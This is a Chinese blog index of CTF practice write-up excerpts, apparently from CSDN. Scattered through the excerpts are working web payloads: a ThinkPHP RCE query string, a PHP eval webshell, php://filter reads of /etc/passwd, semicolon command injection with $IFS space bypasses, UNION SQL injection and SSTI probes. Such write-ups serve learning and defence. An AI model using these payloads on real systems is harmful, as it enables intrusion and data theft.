ctf刷题纪
听门外雪花飞
部分博客迁至于https://get-shell.com/,还望各位支持
展开
-
[极客大挑战 2019]Havefun、[ACTF2020 新生赛]Include、[SUCTF 2019]EasySQL
直接给出了flag?尝试了一下结果是一个假的flag,然后我们分析源代码很容易看出我们通过GET方式给cat传一个值,如果cat的值为dog就输出flag,这很简单了我们通过get方式给cat传一个叫dog的值我们就能获得flag,payload如下。返回包的长度为523的是可以使用的而其他是不可以的,既然;继续解题,输入非零数字得到结果一直是1而输入其他字符的数据就得不到回显猜测内部sql语句为。判断是什么闭合输入1#有回显,而1’和1‘#均没有输出,感觉是数字型sql注入。这时我们注意url的变化。原创 2023-04-26 18:35:12 · 539 阅读 · 0 评论 -
[RoarCTF 2019]Easy Calc、攻防世界 ics07、[极客大挑战 2019]EasySQL
利用点就在上面这串代码中,这里先把文件名拼接到backup目录下,然后正则匹配,这里正则的意思是:匹配最后一个点后面的后缀,然后下面的else里面又更改了当前目录。然后通过POST方式写入con和file,一个为文件内容一个为文件路径,又因为有正则匹配的过滤,我们将文件名取名为5.php/.,又因为这是Linux操作系统所以可以解析那么接下来我们上传文件即可。通过这段代码发现只需要result有值我们就可以上传文件了,一开始我的思路是通过sql注入完成但是失败了,这时候我们看一下sql查询的条件。原创 2023-04-22 20:29:26 · 687 阅读 · 0 评论 -
hitcon_2017_ssrfme、[BJDCTF2020]Easy MD5、[极客大挑战 2019]BuyFlag
这里查一下md5函数,当存在参数true时,使用原始16字符二进制格式,找到ffifdyop字符串经过MD5哈希之后,会变成276f722736c95d99e921722cf9ed621c,mysql会把hex当作Ascii码来解释所以这几个字符相当于:’ or '6xxxxxxx。在这里需要通过Post方式传入两个值,并且这两个值要求不相等且md5加密后要全等,这就又有个矛盾了,这里有嘚用一次md5弱类型比较,给这俩个值当成数组赋值这样一来就能成功绕过(如果这里不懂md5弱类型比较建议百度一下。原创 2023-04-19 19:27:09 · 680 阅读 · 0 评论 -
[ZJCTF 2019]NiZhuanSiWei、[ACTF2020 新生赛]BackupFile、[WUSTCTF2020] 朴实无华
我们使用head命令将fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag读出,空格使用$IFS$9来绕过空格。会先将字符串转化为整数然后再进行比较。这个地方考察的md5弱类型比较,通过弱类型比较,与md5加密后的值相等,即可绕过,这里绕过也很简单我们找到以0e开头的字符串,加密后还是以0e开头即可在弱类型比较时均转换成整数0。原创 2023-04-17 22:10:46 · 122 阅读 · 0 评论 -
攻防世界 cat、Confusion1、lottery
进入题目是一个类似于买彩票的东西我们先去注册个账号,然后发现可以buy flag,大概理解题目意思,我们要么只能在买彩票的时候让我们中大奖要么只能改变自己的余额,原题目应该使用dirsearch扫描发现git泄露然后使用Githack复原的但是攻防世界这边直接把源码给了我们。django项目下一般有个settings.py文件是设置网站数据库的路径,所以我们去读取settings文件,这里需要注意django项目生成时settings.py会存放在以项目目录下再以项目名称命名的文件夹下面。原创 2023-04-12 19:49:08 · 495 阅读 · 1 评论 -
攻防世界web2、ddctf_2019_homebrew_event_loop、 [网鼎杯 2018]Fakebook
num_items传入队列执行执行的是consume_point_function(num_items)如果session[‘num_items’]>=5那么就执行trigger_event,我们再去看一下trigger_event是干什么的。如果我们直接调用buy_flag(5)。先将buy_flag(5)执行。这里execute_event_loop起到路由功能。然后执行对应的函数。execute_event_loop函数。作用是判断session中的points是否小于我们想要购买的数量。原创 2023-04-07 22:28:31 · 320 阅读 · 0 评论 -
攻防世界 favorite_number mfw、[BJDCTF2020]ZJCTF,不过如此
这里发现一个assert()函数,想到估计是代码执行漏洞,而$page没有任何的控制直接拼接,我们想利用assert()函数执行cat ./templates/flag.php获得flag,那么肯定要破坏原来的assert结构才能,使得我们目标才能达成。审计代码发现,通过POST方式传一个数组,传入的数组的内容必须与array数组内容全等,但这里有个矛盾,需要传入的数组的第一个元素不能为admin,但array数组的第一个元素就是admin,这里就要利用数组溢出漏洞了,使用如下payload。原创 2023-04-04 22:10:52 · 442 阅读 · 0 评论 -
BMZCTF ssrfme 端午节就该吃粽子 pchar???
空格等特殊字符如果不进行编码,服务器在处理的时候可能出现问题,通过浏览器的方式访问的话,空格会自动编码为%20或者+,但我们通过上述方法嵌套参数,让服务器自己去请求http的时候就会出现问题,解决方法是进行二次编码。因为第二点说了web服务器默认就会对解析后的参数进行url解码,所以php最开始解析我们的参数时进行了一个解码,服务器通过http伪协议去访问时又会对解析后的参数进行一次解码,所以我们可以进行二次编码。|拼接执行指令\绕过对cat的匹配${IFS}绕过对空格的匹配,?并且长度不能大于70。原创 2023-03-27 19:04:16 · 447 阅读 · 0 评论 -
攻防世界 ics-05
此处存在preg_replace函数,感觉会存在命令注入漏洞,函数作用:搜索subject中匹配pattern的部分,以replacement进行替换。此处考察的是preg_replace函数使用/e参数导致代码执行的问题。也就是说,pat值和sub值相同,rep的代码会执行。并且没有对pat参数进行过滤,所以这里我们可以传入"-e"触发漏洞。我们重点来观察url发现这里可能存在文件包含,我们使用伪协议读取看看。进入题目依旧是这个场景我们去设备维护中心看看。开始审计代码简单看了一下之后发现利用点在这里。原创 2023-03-21 20:33:15 · 120 阅读 · 0 评论 -
攻防世界shrine
shrineimport flaskimport osapp = flask.Flask(__name__)app.config['FLAG'] = os.environ.pop('FLAG')@app.route('/')def index(): return open(__file__).read()@app.route('/shrine/<path:shrine>')def shrine(shrine): def safe_jinja(s):原创 2022-02-28 15:32:21 · 561 阅读 · 0 评论 -
攻防世界 easytornado
easytornado进入环境就这样子我们逐一访问看看进入flag.txt提示flag in /fllllllllllllag我们访问fllllllllllllag看看报了一个error,且在浏览器有回显,莫非是模板注入,我们试一试,把error换成456看看浏览器回显确定有模板注入了但是这里没有更多信息我们只能先放一放了然后我们去访问welcome.txt看看第二个是一个render,render是一个Tomado框架的一个渲染函数,即可以通过传递不同的参数形成不同的页面。还有个原创 2022-02-23 11:13:26 · 2090 阅读 · 0 评论 -
BMZCTF WEB_ezeval
WEB_ezeval进入环境,源码给出<?phphighlight_file(__FILE__);$cmd=$_POST['cmd'];$cmd=htmlspecialchars($cmd);$black_list=array('php','echo','`','preg','server','chr','decode','html','md5','post','get','file','session','ascii','eval','replace','assert','exec','原创 2022-02-20 19:21:37 · 133 阅读 · 0 评论 -
BMZCTF 2020祥云杯到点了
2020祥云杯到点了下载附件得到三个word文档,我们打开第一个文档然后将隐藏文字显示出来得到提示我们查看属性应该就是日期了我们先把他记录下来然后打开第二个文档输入刚刚的密码在第二个word最下面发现疑似培根加密的字符我们去解密也暂时先记录下来第三个word打开时我电脑跳出了个提示,感觉里面隐藏了一些东西,我们使用常规思路将后缀改为.zip打开看看,从中翻出了一张图片是.bmp的文件后缀推测为wbs43open隐写我们用工具来解开隐写第四步第五步打开即获得fla原创 2022-02-19 19:30:29 · 189 阅读 · 0 评论 -
hackgame2018_签到
hackgame2018_签到进入题目得到如下提示尝试提交发现这个输入框长度做了限制我们将前端js修改一下然后提交以下这样就发现了flag这题比较简单……原创 2022-02-17 21:00:25 · 955 阅读 · 0 评论 -
buuctf 荷兰带宽数据泄露
荷兰带宽数据泄露下载附件得一个conf.bin文件,这个文件是路由信息文件,题目并没有任何提示,我们先来测试一下最简单的,找username或password然后当作flag交上去,我们使用RouterPassView打开搜索username然后我们套上flag{}就对了flag{053700357621}...原创 2022-02-15 18:18:47 · 950 阅读 · 0 评论 -
BMZCTF simple_pop
simple_pop打开题目得到源码这边是php伪协议的考点,需要去读取useless.php解码获得源码<?php class Modifier { protected $var; public function append($value){ include($value);//flag.php } public function __invoke(){ $this->append($this->var)原创 2022-02-14 18:07:37 · 244 阅读 · 0 评论 -
攻防世界 Ditf misc
Ditf附件下载下来就是一张图片,我们拉到hxd中发现应该有隐藏的压缩包我们拉入到kali里面分析意外发现图片高度被修改过我们先用binwalk分析图片看看我们先尝试分离一下分离出一个压缩包但是需要密码想到高度有问题我们用hxd修改一下得出密码解压出一个流量包发现一些http流量我们过滤一下在这里发现一个png文件的流量我们追踪一下http流这明显是一个base64加密我们去解密得出flag...原创 2022-02-12 19:52:46 · 1018 阅读 · 0 评论 -
攻防世界杂项MISCall
MISCall下载下来是一个附件但是不清楚他是个什么东西我先拉入kali看看发现是一个tar包不过这个包我们需要使用以下的指令来解压tar -xjvf d02f31b893164d56b7a8e5edb47d9be5解压下来有个新的目录ctf里面有个flag.txt不过是个假的flag,我们使用ls -a显示隐藏文件夹.git,那我们使用git log查看git记录使用git stash show校验列表中存储的文件使用git stash apply复原文件发现一个s.py文件即可获原创 2022-02-11 18:36:45 · 728 阅读 · 0 评论 -
SCTF 2018_Simple PHP Web
SCTF 2018_Simple PHP Web进入环境注意观察urlhttp://www.bmzclub.cn:23627/?f=login.php有点像是文件读取我们尝试读一下/etc/passwd,直接读发现不行我们尝试使用伪协议http://www.bmzclub.cn:23627/?f=php://filter/convert.base64-encode/resource=/etc/passwd发现成功能读出接下来我们尝试读取/flaghttp://www.bmzclub.cn原创 2022-02-10 17:09:57 · 498 阅读 · 0 评论 -
攻防世界supersqli
supersqli补充知识点rename 命令格式: rename table 原表名 to 新表名例如,在表myclass名字更改为youclass:mysql>rename table myclass to youclass;alter和change,使用change子句,语法有很大的不同。在change关键字之后,紧跟着的是你要修改的字段名,然后指定新字段名及类型,例子mysql> alter table testalter_tbl change i j int补充完成了这原创 2022-02-09 18:50:12 · 690 阅读 · 0 评论 -
攻防世界Web_python_template_injection
Web_python_template_injection根据题目意思有点像python的ssti模板注入我们来测试一下果真存在那么我们就用ssti的基本方法了我们先来看看全局变量我们先来寻找一下基类http://111.200.241.244:62377/{{''.__class__.__mro__}}在这里发现了object类寻找<type ‘object’>类的所有子类中可用的引用类http://111.200.241.244:62377/{{''.__cla原创 2022-02-08 17:40:41 · 900 阅读 · 0 评论 -
[GXYCTF2019]Ping Ping Ping
[GXYCTF2019]Ping Ping Ping进入环境输个ip发现就是在ping这个ip地址,我们尝试使用分号来执行命令发现flag.php可惜不能直接cat flag.php估计绊掉了,那我们cat index.php看看还是不行,尝试绕过了一下空格,原来空格也过滤了,这样一来源码就出来了?ip=127.0.0.1;cat$IFS$9index.php源码如下/?ip=|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo pr原创 2022-02-07 18:17:16 · 2330 阅读 · 0 评论 -
攻防世界web_php_unserialize
web_php_unserialize进入环境给出源码<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); }原创 2022-02-06 18:59:40 · 712 阅读 · 0 评论 -
攻防世界upload1
upload1进入环境就一个上传,我们先上传一个普通的木马文件看看木马内容<?php @eval($_POST["cmd"]); ?>估计是前端校验我们查看源码只能上传jpg和png图片,那我们将木马后缀改为.jpg然后使用bp抓包并把后缀改为.php即可然后访问木马文件执行指令即可执行后查看源码便发现flag...原创 2022-01-30 19:56:35 · 1017 阅读 · 0 评论 -
BMZCTF SDNISC2020_过去和现在
SDNISC2020_过去和现在打开附件就一张图片根据题意感觉是图片中隐藏了什么信息使用binwalk -e分离这里foremost不行三个文件查看在第一个中发现flag原创 2022-01-29 17:20:00 · 384 阅读 · 0 评论 -
攻防世界 unserialize3
unserialize3class xctf{public $flag = '111';public function __wakeup(){exit('bad requests');}}?code=进入题目给出部分代码,注意发现到有个wakeup()函数,我们要想办法绕过这个函数,wakeup()有个执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行wakeup()函数,这也算是一个绕过点我们编写expclass xctf{ public $flag = '原创 2022-01-28 19:46:33 · 1464 阅读 · 0 评论 -
一道关于压缩包的ctf题目(包括暴力破解,明文攻击,伪加密)
关于题目附件链接:https://pan.baidu.com/s/1PRshlizSndkgxkslnqJrHA提取码:p76ezip三连击下载附件得到题目手机号码一般是11位,那么我们设置暴力破解范围为19900000000-19999999999,破解得到密码在第一个压缩包成功解压后我们又得到提示这时我们去看加密压缩包和已经解密的压缩包的crc意外发现readme.txt的crc竟然相同,那么我们可以采用明文攻击等待明文爆破完毕将压缩包保存即可获得不需要密码的压缩包,然后这题原创 2022-01-27 18:07:38 · 2221 阅读 · 0 评论 -
[GYCTF2020]Blacklist
[GYCTF2020]Blacklist(堆叠注入)补充知识点desc查看表结构的详细信息desc table_name;PS:此处desc是describe的缩写,用法: desc 表名/查询语句desc降序排列数据select ename,sal from emp order by sal desc;手动指定按照薪水由大到小排序(降序关键字desc)select ename,sal from emp order by sal asc;手动指定按照薪水由小到大排序(升序关键字asc)P原创 2022-01-26 18:42:01 · 2374 阅读 · 0 评论 -
攻防世界PHP2
PHP2进入环境就一个英文其他啥都没有,英文也没啥提示信息我们使用dirsearch扫描一下,一开始确实没扫到什么东西,到最后看了wp发现原来源码是在index.phps中,这里只提供一个思路,不必深究<?phpif("admin"===$_GET[id]) { echo("<p>not allowed!</p>"); exit();}$_GET[id] = urldecode($_GET[id]);if($_GET[id] == "admin"){原创 2022-01-25 18:55:12 · 820 阅读 · 0 评论 -
攻防世界 NaNNaNNaNNaN-Batman
NaNNaNNaNNaN-Batman下载出一个文件我们一开始不知道是个啥,我们拉入到sublime中看一下我们可以发现在最开始的位置有一个_是一段函数变量,最后的eva()那个是执行函数代码,但这个还是有点乱,我们试试能不能将eval转换为alert看看能不能将源码给搞出来,当然这个文件也基本确定了是个html页面(如果不将eval改为alert的话就是如下的界面)爆出一部分代码function $() { var e = document.getElementById("c").va原创 2022-01-24 19:34:59 · 747 阅读 · 0 评论 -
攻防世界NewsCenter
NewsCenter打开题目是一个搜索框我们首先尝试一下sql注入判断了一下是使用’'进行包裹的字符型sql注入然后我们需要判断数据库列数1' order by 3#回显正常但by4的时候回显就不正常了所以判断数据库有三列下面就是一些常规操作了,首先看看回显位-1' union select 1,2,3#写-1的原因是不要让正常数据影响到我们注入测出的结果测试数据库-1' union select 1,2,group_concat(schema_name) from info原创 2022-01-23 18:47:11 · 808 阅读 · 0 评论 -
攻防世界 ics-06
ics-06进入题目有点吓人,不过我都点了一下发现只有报表中心可以进去进入报表中心在url中发现?id=1,一开始以为是sql注入结果啥也没探测到,这题脑洞有点,没有任何提示直接爆破id即可获得flag看了一下当id=2333的时候包的长度比较长,我们看一下返回包就发现了flag...原创 2022-01-22 18:00:32 · 848 阅读 · 0 评论 -
攻防世界 web_php_include
Web_php_include进入题目源码直接出来了<?phpshow_source(__FILE__);echo $_GET['hello'];$page=$_GET['page'];while (strstr($page, "php://")) { $page=str_replace("php://", "", $page);}include($page);?>看见了include函数并且发现过滤了php://,由此估计需要使用伪协议来读取flag内容,由于过滤原创 2022-01-21 18:41:49 · 299 阅读 · 0 评论 -
攻防世界php_rce
php_rce进入题目提示为ThinkPHP V5遇到这种题我们一般去找一下框架的rce漏洞即可,搜索到这样一篇文章https://www.freebuf.com/articles/web/289860.html然后我们直接使用这里面的payload?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami成功rce接下来就是找fl原创 2022-01-20 18:22:03 · 904 阅读 · 0 评论 -
攻防世界baby_web
baby_web题目提示想想初始页,但我们一访问就会跳转到1.php我们使用bp抓包分析,我们发送到repeater模块修改请求访问1.php内容看看发现flag隐藏了我们去hex中看看这样我们就发现了flag原创 2022-01-19 21:04:06 · 462 阅读 · 0 评论 -
[HCTF 2018]warmup
2018 warmup进入题目一张滑稽脸查看源代码发现source.php之后我们访问source.php发现源代码<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.ph原创 2022-01-18 21:59:38 · 341 阅读 · 0 评论 -
hitcon_2017_ssrfme
hitcon_2017_ssrfme进入环境给出源码<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $_SERVER['REMOTE_ADDR'] = $http_x_headers[0]; } echo $_SERVER["REMOTE_AD原创 2022-01-06 13:27:01 · 2005 阅读 · 0 评论 -
DASCTF Oct吉林工师web
迷路的魔法少女进入环境给出源码<?phphighlight_file('index.php');extract($_GET);error_reporting(0);function String2Array($data){ if($data == '') return array(); @eval("\$array = $data;"); return $array;}if(is_array($attrid) && is_array($a原创 2021-12-26 20:45:02 · 1131 阅读 · 0 评论 -
一道简单的流量分析
流量附件提取链接:https://pan.baidu.com/s/1oHSbIFiqs6ENmqykzFkEKg提取码:do7s1、 使用Wireshark查看并分析attack.pcapng数据包文件,通过分析数据包attack.pcapng找出黑客的IP地址,并将黑客的IP地址作为FLAG(形式:[IP地址])提交:我们使用http.request.method == GET这个方法来过滤一下GET请求包发现两个登录页面的请求包一个是172.16.1.10向172.16.1.101发出的请原创 2021-11-22 19:09:07 · 5665 阅读 · 0 评论 -
ctfhub 过滤运算符 综合过滤练习 读取源代码 远程包含 eval执行 文件包含 php://input
过滤运算符过滤了\和&那么尝试;成功那么将flag cat出来127.0.0.1;cat flag_27249269530391.php得到flag综合过滤练习这次过滤有点多过滤了&;空格flag,cat,ctfhub但是没有过滤%0a,%0d,用IFS取代空格,用{IFS}取代空格,用IFS取代空格,用*绕过关键词过滤,因为在没有定义的情况下,$*在shell命令执行下为空回显有一个flag_is_here文件夹payload:http://challenge-原创 2021-08-21 20:38:10 · 508 阅读 · 0 评论